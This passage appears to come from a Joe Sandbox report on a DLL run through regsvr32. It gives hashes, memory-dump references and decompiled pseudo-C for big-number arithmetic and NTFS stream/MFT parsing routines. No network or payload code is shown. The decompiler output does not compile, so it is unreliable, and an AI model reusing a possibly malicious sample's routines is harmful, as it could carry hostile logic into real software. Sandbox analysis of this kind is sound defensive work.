                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
                                                                                                        • String ID:
                                                                                                        • API String ID: 1617910340-0
                                                                                                        • Opcode ID: 3b0c5712b046b4be5ee5053240ba9bd8b4537c1e6fd3c70065b3eb6a2fd3d159
                                                                                                        • Instruction ID: 39905e9984768b254d60ddf9583dd30cdb47174593f5df2b79d44b0a7d745162
                                                                                                        • Opcode Fuzzy Hash: 3b0c5712b046b4be5ee5053240ba9bd8b4537c1e6fd3c70065b3eb6a2fd3d159
                                                                                                        • Instruction Fuzzy Hash: 70C19037720A4885EB91CFA8C4907ED3761F38DBE8F059215EA2A9B794CF39C659C300
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018002CA20 Relevance: 12.4, APIs: 8, Instructions: 367COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 87%
                                                                                                        			E0000000118002CA20(signed int __edx, long long __rbx, signed int __rcx, void* __rdx) {
				void* __rsi;
				signed int _t145;
				intOrPtr _t146;
				void* _t162;
				signed int _t163;
				unsigned int _t167;
				signed int _t169;
				signed int _t170;
				signed int _t179;
				intOrPtr _t190;
				signed int _t192;
				signed int _t193;
				intOrPtr _t201;
				intOrPtr _t202;
				signed long long _t237;
				signed long long _t239;
				signed long long _t242;
				signed long long _t254;
				signed long long _t256;
				signed long long _t262;
				signed long long _t264;
				void* _t269;
				signed long long _t273;
				void* _t276;
				void* _t277;
				void* _t279;
				signed long long _t280;
				signed int _t295;
				signed long long _t301;
				signed long long _t308;
				void* _t309;
				void* _t313;
				void* _t317;
				void* _t320;
				signed long long _t322;

				 *((long long*)(_t279 + 0x18)) = __rbx;
				_t277 = _t279 - 0x4c0;
				_t280 = _t279 - 0x5c0;
				_t237 =  *0x800d81f8; // 0x68308725f9ca
				 *(_t277 + 0x4b0) = _t237 ^ _t280;
				 *((intOrPtr*)(_t280 + 0x30)) = __edx;
				r8d = __edx;
				_t239 = __rcx + 4;
				_t167 = 0xcccccccd * __edx >> 0x20 >> 3;
				 *(_t280 + 0x2c) = _t167;
				r12d = _t167;
				 *(_t280 + 0x24) = _t167;
				if (_t167 == 0) goto 0x8002ce9b;
				if (r12d - 0x26 <= 0) goto 0x8002caa3;
				r13d = 0x26;
				 *(_t280 + 0x20) = r13d;
				goto 0x8002caae;
				r13d = r12d;
				 *(_t280 + 0x20) = r12d;
				_t322 = _t239;
				_t242 = __rcx * 4;
				 *((intOrPtr*)(_t277 + 0x2e0)) = _t273 + __rcx;
				E000000011800164C0(_t273 + __rcx, 0, _t277 + 0x2e4, __rdx, _t242);
				_t274 = _t273 << 2;
				_t262 = 0x1800c3820 + _t239 * 4;
				E00000001180015E10();
				if ( *((intOrPtr*)(_t277 + 0x2e0)) - 1 > 0) goto 0x8002cbe7;
				if ( *((intOrPtr*)(_t277 + 0x2e4)) != 0) goto 0x8002cb55;
				r9d = 0;
				 *(_t277 + 0x110) = 0;
				 *__rcx = 0;
				E0000000118002D894(_t239, _t242, _t322, _t262, _t273 << 2, _t277 + 0x114, 0x180000000, _t320);
				goto 0x8002ce68;
				if (1 == 1) goto 0x8002ce68;
				r10d =  *__rcx;
				if (r10d != 0) goto 0x8002cb6d;
				goto 0x8002ce68;
				r8d = 0;
				r9d = 0;
				r9d = r9d + 1;
				_t264 = _t262 * _t239 + _t239;
				if (r9d != r10d) goto 0x8002cb80;
				if (r8d == 0) goto 0x8002cb4e;
				if ( *__rcx - 0x73 >= 0) goto 0x8002cbc2;
				 *((intOrPtr*)(__rcx + 4 + _t239 * 4)) = r8d;
				 *__rcx =  *__rcx + 1;
				goto 0x8002ce68;
				 *((intOrPtr*)(_t277 + 0x2e0)) = 0;
				 *__rcx = 0;
				r9d = 0;
				E0000000118002D894(_t239, _t242, _t322, _t264, _t273 << 2, _t277 + 0x2e4, 0x180000000, _t317);
				goto 0x8002ce66;
				_t201 =  *__rcx;
				if (_t201 - 1 > 0) goto 0x8002ccc4;
				_t162 =  *_t322;
				 *__rcx = 0x1cc;
				_t301 = _t264 << 2;
				E0000000118002D894(_t239, _t242, _t322, _t264, _t273 << 2, _t277 + 0x2e4, _t301, _t313);
				if (_t162 != 0) goto 0x8002cc41;
				r9d = 0;
				 *((intOrPtr*)(_t277 + 0x2e0)) = 0;
				 *__rcx = 0;
				E0000000118002D894(_t239, _t242, _t322, _t264, _t274, _t277 + 0x2e4, _t301, _t309);
				goto 0x8002ce68;
				if (_t162 != 1) goto 0x8002cc4e;
				goto 0x8002ce68;
				r10d =  *__rcx;
				if (r10d != 0) goto 0x8002cc5d;
				goto 0x8002ce68;
				_t308 = _t242;
				r8d = 0;
				r9d = 0;
				r9d = r9d + 1;
				_t190 =  *((intOrPtr*)(_t322 + _t239 * 4));
				_t254 = _t322 + _t239 * 4;
				_t266 = _t264 * _t308 + _t239;
				 *_t254 = _t190;
				if (r9d != r10d) goto 0x8002cc70;
				if (r8d == 0) goto 0x8002cb4e;
				if ( *__rcx - 0x73 >= 0) goto 0x8002ccb6;
				 *((intOrPtr*)(__rcx + 4 + _t239 * 4)) = r8d;
				 *__rcx =  *__rcx + 1;
				goto 0x8002ce68;
				 *((intOrPtr*)(_t277 + 0x2e0)) = 0;
				 *__rcx = 0;
				goto 0x8002cbcb;
				_t315 =  >=  ? _t322 : _t277 + 0x2e4;
				r11d = 0;
				_t169 = r11d;
				_t163 = r11d;
				 *(_t277 + 0x110) = _t169;
				if ((0 | _t190 - _t201 > 0x00000000) == 0) goto 0x8002ccf8;
				 *((intOrPtr*)(_t280 + 0x28)) = _t190;
				if (_t190 == 0) goto 0x8002ce13;
				goto 0x8002cd05;
				 *((intOrPtr*)(_t280 + 0x28)) = _t201;
				_t202 = _t190;
				if ( *((intOrPtr*)(( >=  ? _t322 : _t277 + 0x2e4) + _t239 * 4)) != 0) goto 0x8002cd2e;
				if (_t163 != _t169) goto 0x8002ce07;
				_t65 = _t242 + 1; // 0x1
				_t170 = _t65;
				 *(_t277 + 0x114 + _t239 * 4) = r11d;
				 *(_t277 + 0x110) = _t170;
				goto 0x8002ce07;
				r10d = r11d;
				_t145 = _t163;
				if (_t202 == 0) goto 0x8002ce02;
				r9d = _t163;
				r9d =  ~r9d;
				if (_t145 == 0x73) goto 0x8002cda1;
				r11d = _t145;
				if (_t145 != _t170) goto 0x8002cd65;
				_t70 = _t239 + 1; // 0x1
				 *((intOrPtr*)(_t277 + 0x114 + _t308 * 4)) = 0;
				 *(_t277 + 0x110) = _t70;
				_t146 = _t145 + 1;
				r8d =  *((intOrPtr*)(_t277 + 0x2e4 + _t254 * 4));
				 *((intOrPtr*)(_t277 + 0x114 + _t308 * 4)) = r8d;
				if (_t301 + _t239 != _t202) goto 0x8002cd41;
				r11d = 0;
				if (r10d == 0) goto 0x8002ce02;
				if (_t146 == 0x73) goto 0x8002ce3f;
				r8d = _t146;
				_t85 = _t239 + 1; // 0x1
				_t192 = _t85;
				_t295 = ((_t264 * _t308 + _t239 >> 0x20) * (0x1800c4130 + _t239 * 4) + _t254 + _t254) * 4;
				if (_t146 !=  *(_t277 + 0x110)) goto 0x8002cddb;
				 *(_t277 + _t295 + 0x114) = r11d;
				 *(_t277 + 0x110) = _t192;
				_t193 = r10d;
				 *(_t277 + _t295 + 0x114) = _t193;
				_t179 =  *(_t277 + 0x110);
				r10d = _t193;
				if (_t193 != 0) goto 0x8002cdb0;
				if (_t192 == 0x73) goto 0x8002ce3f;
				if (_t163 + 1 !=  *((intOrPtr*)(_t280 + 0x28))) goto 0x8002cd05;
				r9d = _t179;
				 *__rcx = _t179;
				E0000000118002D894(_t239, _t242, _t322, _t266 + _t254 >> 0x20, _t274, _t277 + 0x114, _t301 << 2, _t269);
				r12d =  *(_t280 + 0x24);
				r13d =  *(_t280 + 0x20);
				goto 0x8002ce68;
				r9d = 0;
				 *(_t280 + 0x40) = r11d;
				 *__rcx = r11d;
				_t256 = _t322;
				E0000000118002D894(_t239, _t242, _t256, _t266 + _t254 >> 0x20, _t274, _t280 + 0x44, _t301 << 2, _t273);
				r12d =  *(_t280 + 0x24);
				r13d =  *(_t280 + 0x20);
				if (0 == 0) goto 0x8002cefd;
				r12d = r12d - r13d;
				 *(_t280 + 0x24) = r12d;
				if (0 != 0) goto 0x8002ca90;
				r8d =  *((intOrPtr*)(_t280 + 0x30));
				r8d = r8d - _t256 + _t256 * 4 + _t256 + _t256 * 4;
				if (0 == 0) goto 0x8002ced1;
				if ( *((intOrPtr*)(0x180000000 + 0xc41c8 + (__rcx + 4) * 4)) != 0) goto 0x8002cf1f;
				r9d = 0;
				 *(_t280 + 0x40) = 0;
				 *__rcx = 0;
				E0000000118002D894(__rcx + 4, _t242, _t322, _t266 + _t254 >> 0x20, _t274, _t280 + 0x44, 0x180000000, _t276);
				return E000000011800149A0(1,  *(_t280 + 0x2c),  *(_t277 + 0x4b0) ^ _t280);
			}






































                                                                                                        0x18002ca20
                                                                                                        0x18002ca30
                                                                                                        0x18002ca38
                                                                                                        0x18002ca3f
                                                                                                        0x18002ca49
                                                                                                        0x18002ca53
                                                                                                        0x18002ca63
                                                                                                        0x18002ca6a
                                                                                                        0x18002ca73
                                                                                                        0x18002ca76
                                                                                                        0x18002ca7a
                                                                                                        0x18002ca7d
                                                                                                        0x18002ca83
                                                                                                        0x18002ca94
                                                                                                        0x18002ca96
                                                                                                        0x18002ca9c
                                                                                                        0x18002caa1
                                                                                                        0x18002caa3
                                                                                                        0x18002caa6
                                                                                                        0x18002caab
                                                                                                        0x18002cac8
                                                                                                        0x18002cadd
                                                                                                        0x18002cae3
                                                                                                        0x18002caf9
                                                                                                        0x18002cb0a
                                                                                                        0x18002cb0e
                                                                                                        0x18002cb1c
                                                                                                        0x18002cb2a
                                                                                                        0x18002cb35
                                                                                                        0x18002cb38
                                                                                                        0x18002cb43
                                                                                                        0x18002cb49
                                                                                                        0x18002cb50
                                                                                                        0x18002cb58
                                                                                                        0x18002cb5e
                                                                                                        0x18002cb64
                                                                                                        0x18002cb68
                                                                                                        0x18002cb72
                                                                                                        0x18002cb75
                                                                                                        0x18002cb83
                                                                                                        0x18002cb95
                                                                                                        0x18002cba4
                                                                                                        0x18002cba9
                                                                                                        0x18002cbb1
                                                                                                        0x18002cbb3
                                                                                                        0x18002cbba
                                                                                                        0x18002cbbd
                                                                                                        0x18002cbc2
                                                                                                        0x18002cbc8
                                                                                                        0x18002cbcb
                                                                                                        0x18002cbdd
                                                                                                        0x18002cbe2
                                                                                                        0x18002cbe7
                                                                                                        0x18002cbed
                                                                                                        0x18002cbf3
                                                                                                        0x18002cc00
                                                                                                        0x18002cc03
                                                                                                        0x18002cc0f
                                                                                                        0x18002cc16
                                                                                                        0x18002cc21
                                                                                                        0x18002cc24
                                                                                                        0x18002cc2f
                                                                                                        0x18002cc35
                                                                                                        0x18002cc3c
                                                                                                        0x18002cc44
                                                                                                        0x18002cc49
                                                                                                        0x18002cc4e
                                                                                                        0x18002cc54
                                                                                                        0x18002cc58
                                                                                                        0x18002cc5f
                                                                                                        0x18002cc62
                                                                                                        0x18002cc65
                                                                                                        0x18002cc73
                                                                                                        0x18002cc76
                                                                                                        0x18002cc7a
                                                                                                        0x18002cc85
                                                                                                        0x18002cc8b
                                                                                                        0x18002cc94
                                                                                                        0x18002cc99
                                                                                                        0x18002cca5
                                                                                                        0x18002cca7
                                                                                                        0x18002ccae
                                                                                                        0x18002ccb1
                                                                                                        0x18002ccb6
                                                                                                        0x18002ccbc
                                                                                                        0x18002ccbf
                                                                                                        0x18002ccd0
                                                                                                        0x18002ccd4
                                                                                                        0x18002ccd7
                                                                                                        0x18002ccda
                                                                                                        0x18002ccdd
                                                                                                        0x18002cce5
                                                                                                        0x18002cce7
                                                                                                        0x18002ccf0
                                                                                                        0x18002ccf6
                                                                                                        0x18002ccf8
                                                                                                        0x18002cd03
                                                                                                        0x18002cd0e
                                                                                                        0x18002cd12
                                                                                                        0x18002cd18
                                                                                                        0x18002cd18
                                                                                                        0x18002cd1b
                                                                                                        0x18002cd23
                                                                                                        0x18002cd29
                                                                                                        0x18002cd2e
                                                                                                        0x18002cd31
                                                                                                        0x18002cd35
                                                                                                        0x18002cd3b
                                                                                                        0x18002cd3e
                                                                                                        0x18002cd44
                                                                                                        0x18002cd46
                                                                                                        0x18002cd4e
                                                                                                        0x18002cd50
                                                                                                        0x18002cd53
                                                                                                        0x18002cd5f
                                                                                                        0x18002cd67
                                                                                                        0x18002cd6b
                                                                                                        0x18002cd8b
                                                                                                        0x18002cd9f
                                                                                                        0x18002cda1
                                                                                                        0x18002cda7
                                                                                                        0x18002cdb3
                                                                                                        0x18002cdb9
                                                                                                        0x18002cdbc
                                                                                                        0x18002cdbc
                                                                                                        0x18002cdc3
                                                                                                        0x18002cdcb
                                                                                                        0x18002cdcd
                                                                                                        0x18002cdd5
                                                                                                        0x18002cde3
                                                                                                        0x18002cde9
                                                                                                        0x18002cdf1
                                                                                                        0x18002cdfb
                                                                                                        0x18002ce00
                                                                                                        0x18002ce05
                                                                                                        0x18002ce0d
                                                                                                        0x18002ce13
                                                                                                        0x18002ce1d
                                                                                                        0x18002ce2c
                                                                                                        0x18002ce31
                                                                                                        0x18002ce38
                                                                                                        0x18002ce3d
                                                                                                        0x18002ce3f
                                                                                                        0x18002ce42
                                                                                                        0x18002ce4c
                                                                                                        0x18002ce54
                                                                                                        0x18002ce57
                                                                                                        0x18002ce5c
                                                                                                        0x18002ce61
                                                                                                        0x18002ce6a
                                                                                                        0x18002ce70
                                                                                                        0x18002ce77
                                                                                                        0x18002ce83
                                                                                                        0x18002ce94
                                                                                                        0x18002cea0
                                                                                                        0x18002cea3
                                                                                                        0x18002ceb3
                                                                                                        0x18002ceb5
                                                                                                        0x18002ceb8
                                                                                                        0x18002cec1
                                                                                                        0x18002cecc
                                                                                                        0x18002cefc

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: memcpy_s
                                                                                                        • String ID:
                                                                                                        • API String ID: 1502251526-0
                                                                                                        • Opcode ID: c757f03ad13298006e78bf3ef4fe4a52e1597a743ab3dc45b4478238d8522c01
                                                                                                        • Instruction ID: 30644400b0aa482178c3b0bdd3d68c9e6548b5043b160a5170fe33323577d742
                                                                                                        • Opcode Fuzzy Hash: c757f03ad13298006e78bf3ef4fe4a52e1597a743ab3dc45b4478238d8522c01
                                                                                                        • Instruction Fuzzy Hash: 4FE1CF726142888AEBB7CF19D444BE977A0F79DBC8F519026EB0947B84DB35CB08CB41
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180013860 Relevance: 11.5, Strings: 9, Instructions: 250COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 47%
                                                                                                        			E00000001180013860(void* __ecx, long long __rax, long long __rbx, void* __rcx, void* __rdx, long long __rsi, long long __rbp, intOrPtr* __r8, long long __r9, long long _a8, long long _a24, long long _a32, intOrPtr _a40, long long _a64, long long _a72) {
				void* _v40;
				long long _v72;
				long long _v80;
				long long _v88;
				intOrPtr _t49;
				void* _t50;
				long long _t74;
				intOrPtr _t76;
				long long _t78;
				long long _t93;
				intOrPtr* _t95;
				intOrPtr _t96;
				long long _t97;
				intOrPtr* _t105;
				long long _t113;
				long long _t114;
				intOrPtr _t116;
				intOrPtr* _t118;

				_t105 = __r8;
				_t74 = __rax;
				_t50 = __ecx;
				_a8 = __rbx;
				_a24 = __rbp;
				_a32 = __rsi;
				_t93 = __r9;
				_t118 = __r8;
				_t81 = __rdx;
				E00000001180005CCC();
				r12d = 0;
				if (__rdx == 0) goto 0x80013a0a;
				if (__r8 == 0) goto 0x80013a0a;
				_t95 =  *((intOrPtr*)(__r8 + 0x48));
				_t49 = _a40;
				goto 0x800138da;
				if ( *((intOrPtr*)(_t95 + 0x10)) != _t49) goto 0x800138d7;
				if (__r9 != 0) goto 0x800138c2;
				goto 0x800138d5;
				if ( *((intOrPtr*)(_t95 + 8)) == 0) goto 0x800138d7;
				_t92 = __r9;
				if (E00000001180025A40( *((intOrPtr*)(_t95 + 8)),  *((intOrPtr*)(_t95 + 8)), __r9) == 0) goto 0x800138df;
				_t96 =  *_t95;
				if (_t96 != 0) goto 0x800138b2;
				E00000001180013780(_t49);
				r8d = 0;
				_t9 = _t105 + 6; // 0x6
				if (_t96 != 0) goto 0x80013976;
				if (__r9 == 0) goto 0x80013915;
				_v80 = _t74;
				_v88 = __r9;
				E00000001180004968(_t50, _t9, _t74, _t74, __r9, __r8, L"    Creating new stream: \'%s:%s\'");
				goto 0x80013926;
				_v88 = _t74;
				E00000001180004968(_t50, _t9, _t74, _t74, _t92, _t105, L"    Creating new stream: \':%s\'");
				0x80026bf8();
				_t97 = _t74;
				if (_t74 == 0) goto 0x80013c15;
				 *_t74 =  *((intOrPtr*)(_t118 + 0x48));
				 *((long long*)(_t118 + 0x48)) = _t74;
				 *((long long*)(_t74 + 8)) = _t113;
				if (_t93 == 0) goto 0x80013969;
				0x800264d8();
				if (_t74 == 0) goto 0x80013969;
				E000000011800544CC(_t74, _t81, _t93, _t97, _t74);
				 *((long long*)(_t97 + 8)) = _t74;
				 *((intOrPtr*)(_t97 + 0x10)) = _t49;
				 *((long long*)(_t97 + 0x18)) = _t113;
				 *((long long*)(_t97 + 0x20)) = _t113;
				goto 0x800139aa;
				if (_t93 == 0) goto 0x80013993;
				_v80 = _t74;
				_v88 = _t93;
				E00000001180004968(0x30, _t9, _t74, _t93, _t92, _t105, L"    Appending rundata to existing stream: \'%s:%s");
				goto 0x800139a4;
				_v88 = _t74;
				E00000001180004968(0x30, _t9, _t74, _t93, _t92, _t105, L"    Appending rundata to existing stream: \':%s");
				if ( *((intOrPtr*)(_t97 + 0x28)) != _t113) goto 0x800139b6;
				 *((long long*)(_t97 + 0x28)) = _a72;
				_t116 =  *((intOrPtr*)(_t97 + 0x18));
				_t114 = _a64;
				if (_t116 == 0) goto 0x80013a2a;
				_t76 =  *((intOrPtr*)(_t116 + 0x10));
				goto 0x800139d4;
				if ( *((intOrPtr*)(_t76 + 0x10)) != 0) goto 0x800139cd;
				_t78 =  *((intOrPtr*)(_t76 + 8));
				if (_t114 == _t78) goto 0x80013a2a;
				r8d = 0;
				_v72 = _t114;
				_v80 = _t78;
				_v88 =  *_t118;
				_t34 = _t105 + 2; // 0x2
				E00000001180004968(0x30, _t34,  *_t118, _t74, _t92, _t105, L"Error: Inode %I64u already has a list of fragments. LastVcn=%I64u, StartingVCN=%I64u");
				return 0;
			}





















                                                                                                        0x180013860
                                                                                                        0x180013860
                                                                                                        0x180013860
                                                                                                        0x180013860
                                                                                                        0x180013865
                                                                                                        0x18001386a
                                                                                                        0x18001387c
                                                                                                        0x18001387f
                                                                                                        0x180013882
                                                                                                        0x180013888
                                                                                                        0x18001388d
                                                                                                        0x180013896
                                                                                                        0x18001389f
                                                                                                        0x1800138a5
                                                                                                        0x1800138a9
                                                                                                        0x1800138b0
                                                                                                        0x1800138b5
                                                                                                        0x1800138ba
                                                                                                        0x1800138c0
                                                                                                        0x1800138c9
                                                                                                        0x1800138cb
                                                                                                        0x1800138d5
                                                                                                        0x1800138d7
                                                                                                        0x1800138dd
                                                                                                        0x1800138e4
                                                                                                        0x1800138e9
                                                                                                        0x1800138ef
                                                                                                        0x1800138f6
                                                                                                        0x1800138fb
                                                                                                        0x1800138fd
                                                                                                        0x180013909
                                                                                                        0x18001390e
                                                                                                        0x180013913
                                                                                                        0x18001391c
                                                                                                        0x180013921
                                                                                                        0x18001392b
                                                                                                        0x180013930
                                                                                                        0x180013936
                                                                                                        0x180013940
                                                                                                        0x180013943
                                                                                                        0x180013947
                                                                                                        0x18001394e
                                                                                                        0x180013953
                                                                                                        0x18001395b
                                                                                                        0x180013960
                                                                                                        0x180013965
                                                                                                        0x180013969
                                                                                                        0x18001396c
                                                                                                        0x180013970
                                                                                                        0x180013974
                                                                                                        0x180013979
                                                                                                        0x18001397b
                                                                                                        0x180013987
                                                                                                        0x18001398c
                                                                                                        0x180013991
                                                                                                        0x18001399a
                                                                                                        0x18001399f
                                                                                                        0x1800139a8
                                                                                                        0x1800139b2
                                                                                                        0x1800139b6
                                                                                                        0x1800139ba
                                                                                                        0x1800139c5
                                                                                                        0x1800139c7
                                                                                                        0x1800139cb
                                                                                                        0x1800139d7
                                                                                                        0x1800139d9
                                                                                                        0x1800139e0
                                                                                                        0x1800139e2
                                                                                                        0x1800139e5
                                                                                                        0x1800139ea
                                                                                                        0x1800139fc
                                                                                                        0x180013a01
                                                                                                        0x180013a05
                                                                                                        0x180013a29

                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: swprintf
                                                                                                        • String ID: Appending rundata to existing stream: '%s:%s$ Appending rundata to existing stream: ':%s$ Creating new stream: '%s:%s'$ Creating new stream: ':%s'$ Extent (virtual): Vcn=%I64u, NextVcn=%I64u$ Extent: Lcn=%I64u, Vcn=%I64u, NextVcn=%I64u$Error: Inode %I64u already has a list of fragments. LastVcn=%I64u, StartingVCN=%I64u$Error: datarun is longer than buffer, the MFT may be corrupt.$Error: malloc() returned NULL.
                                                                                                        • API String ID: 233258989-2820988229
                                                                                                        • Opcode ID: 1a81a7348ad1dd774ed7079da4a0acf993d99beaee12a7b8d6ff250c8e8144c5
                                                                                                        • Instruction ID: 3fae4766e34c013104c88ff96ee9f3f10c060d13ebafc9869c940f14c1723df6
                                                                                                        • Opcode Fuzzy Hash: 1a81a7348ad1dd774ed7079da4a0acf993d99beaee12a7b8d6ff250c8e8144c5
                                                                                                        • Instruction Fuzzy Hash: EEB15D32209B8882EBB6DB11A5427DAB3A4F78C7D0F55C225FAC947B95DF38C648C701
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018002C580 Relevance: 10.7, APIs: 7, Instructions: 243COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 73%
                                                                                                        			E0000000118002C580(signed int* __rcx, signed long long __rdx, signed int __r9, void* __r11, long long __r12, long long __r13, signed int __r14, long long __r15) {
				void* __rbx;
				void* __rsi;
				signed int _t103;
				signed int _t104;
				signed int _t112;
				signed int _t113;
				signed int _t122;
				signed int _t131;
				signed int _t132;
				signed int _t135;
				signed int _t136;
				signed long long _t166;
				signed long long _t167;
				void* _t168;
				signed int* _t169;
				signed long long _t170;
				signed int* _t172;
				signed int* _t174;
				signed long long _t178;
				signed long long _t183;
				signed long long _t185;
				void* _t187;
				signed long long _t190;
				void* _t192;
				void* _t193;
				signed long long _t194;
				signed long long _t206;
				signed int _t210;

				_t183 = __rdx;
				_t192 = _t193 - 0x2f8;
				_t194 = _t193 - 0x3f8;
				_t166 =  *0x800d81f8; // 0x68308725f9ca
				_t167 = _t166 ^ _t194;
				 *(_t192 + 0x2d0) = _t167;
				if ( *__rdx - 1 > 0) goto 0x8002c664;
				if ( *((intOrPtr*)(__rdx + 4)) != 0) goto 0x8002c5e3;
				r9d = 0;
				 *__rcx = r9d;
				_t172 =  &(__rcx[1]);
				 *(_t192 + 0x100) = r9d;
				E0000000118002D894(_t167, _t168, _t172, __rdx, __rcx, _t192 + 0x104, __r9);
				goto 0x8002c8f9;
				if (1 == 1) goto 0x8002c5dc;
				r11d =  *_t172;
				if (r11d == 0) goto 0x8002c5dc;
				r9d = 0;
				_t169 =  &(_t172[1]);
				r8d = r9d;
				r10d = r9d;
				_t190 = _t167;
				r10d = r10d + 1;
				_t185 = _t183 * _t190 + _t167;
				if (r10d != r11d) goto 0x8002c600;
				if (r8d == 0) goto 0x8002c5dc;
				if ( *__rcx - 0x73 >= 0) goto 0x8002c63f;
				 *(__rcx + 4 + _t167 * 4) = r8d;
				 *__rcx =  *__rcx + 1;
				goto 0x8002c8f9;
				 *(_t192 + 0x100) = r9d;
				 *__rcx = r9d;
				_t174 = _t169;
				E0000000118002D894(_t167, _t169, _t174, _t185, __rcx, _t192 + 0x104, __r9);
				goto 0x8002c8f9;
				 *((long long*)(_t194 + 0x3e0)) = __r15;
				r15d =  *_t174;
				if (r15d - 1 > 0) goto 0x8002c744;
				_t135 = _t174[1];
				_t170 =  &(_t174[1]);
				 *_t174 = 0;
				r9d =  *_t185;
				_t215 = __r9 << 2;
				E0000000118002D894(_t167, _t170, _t170, _t185, __rcx, _t185 + 4, __r9 << 2);
				if (_t135 != 0) goto 0x8002c6c6;
				r9d = 0;
				 *(_t192 + 0x100) = r9d;
				 *__rcx = r9d;
				E0000000118002D894(_t167, _t170, _t170, _t185, __rcx, _t192 + 0x104, _t215);
				goto 0x8002c8f1;
				if (_t135 == 1) goto 0x8002c6bf;
				r11d =  *__rcx;
				if (r11d == 0) goto 0x8002c6bf;
				r9d = 0;
				r8d = r9d;
				r10d = r9d;
				r10d = r10d + 1;
				_t187 = _t185 * _t190 + _t167;
				if (r10d != r11d) goto 0x8002c6e0;
				if (r8d == 0) goto 0x8002c6bf;
				if ( *__rcx - 0x73 >= 0) goto 0x8002c71f;
				 *(__rcx + 4 + _t167 * 4) = r8d;
				 *__rcx =  *__rcx + 1;
				goto 0x8002c8f1;
				 *(_t192 + 0x100) = r9d;
				 *__rcx = r9d;
				_t178 = _t170;
				E0000000118002D894(_t167, _t170, _t178, _t187, __rcx, _t192 + 0x104, _t215);
				goto 0x8002c8f1;
				r9d = 0;
				 *((long long*)(_t194 + 0x430)) = __r12;
				 *((long long*)(_t194 + 0x3f0)) = __r13;
				_t136 = r9d;
				 *((long long*)(_t194 + 0x3e8)) = __r14;
				if (0 - r15d >= 0) goto 0x8002c774;
				r13d = 0;
				goto 0x8002c782;
				r13d = r15d;
				_t206 = _t178 + 4;
				r15d = 0;
				_t112 = r9d;
				 *(_t194 + 0x20) = _t206;
				 *(_t192 + 0x100) = _t112;
				r14d =  *((intOrPtr*)(_t206 + _t167 * 4));
				if (r14d != 0) goto 0x8002c7b9;
				if (_t136 != _t112) goto 0x8002c88c;
				_t42 = _t190 + 1; // 0x1
				_t113 = _t42;
				 *(_t192 + 0x104 + _t167 * 4) = r9d;
				 *(_t192 + 0x100) = _t113;
				goto 0x8002c88c;
				r10d = r9d;
				_t103 = _t136;
				if (r15d == 0) goto 0x8002c882;
				r11d = _t136;
				r11d =  ~r11d;
				if (_t103 == 0x73) goto 0x8002c82b;
				if (_t103 != _t113) goto 0x8002c7ef;
				_t47 = _t167 + 1; // 0x1
				 *(_t192 + 0x104 + _t170 * 4) = r9d;
				 *(_t192 + 0x100) = _t47;
				_t104 = _t103 + 1;
				r8d =  *(_t187 + 4 + _t178 * 4);
				 *(_t192 + 0x104 + _t170 * 4) = r8d;
				if (__r11 + _t167 != r15d) goto 0x8002c7d0;
				if (r10d == 0) goto 0x8002c882;
				if (_t104 == 0x73) goto 0x8002c8b9;
				r8d = _t104;
				_t62 = _t167 + 1; // 0x1
				_t131 = _t62;
				_t210 = (_t206 * __r14 + _t178 + _t178) * 4;
				if (_t104 !=  *(_t192 + 0x100)) goto 0x8002c85b;
				 *(_t192 + _t210 + 0x104) = r9d;
				 *(_t192 + 0x100) = _t131;
				_t132 =  *(_t192 + _t210 + 0x104);
				 *(_t192 + _t210 + 0x104) = _t132;
				_t122 =  *(_t192 + 0x100);
				r10d = _t132;
				if (_t132 != 0) goto 0x8002c830;
				if (_t131 == 0x73) goto 0x8002c8b9;
				if (_t136 + 1 != r13d) goto 0x8002c790;
				r9d = _t122;
				 *__rcx = _t122;
				E0000000118002D894(_t167, _t170,  &(__rcx[1]), _t187 + _t178 >> 0x20, __rcx, _t192 + 0x104, _t215 << 2);
				goto 0x8002c8d9;
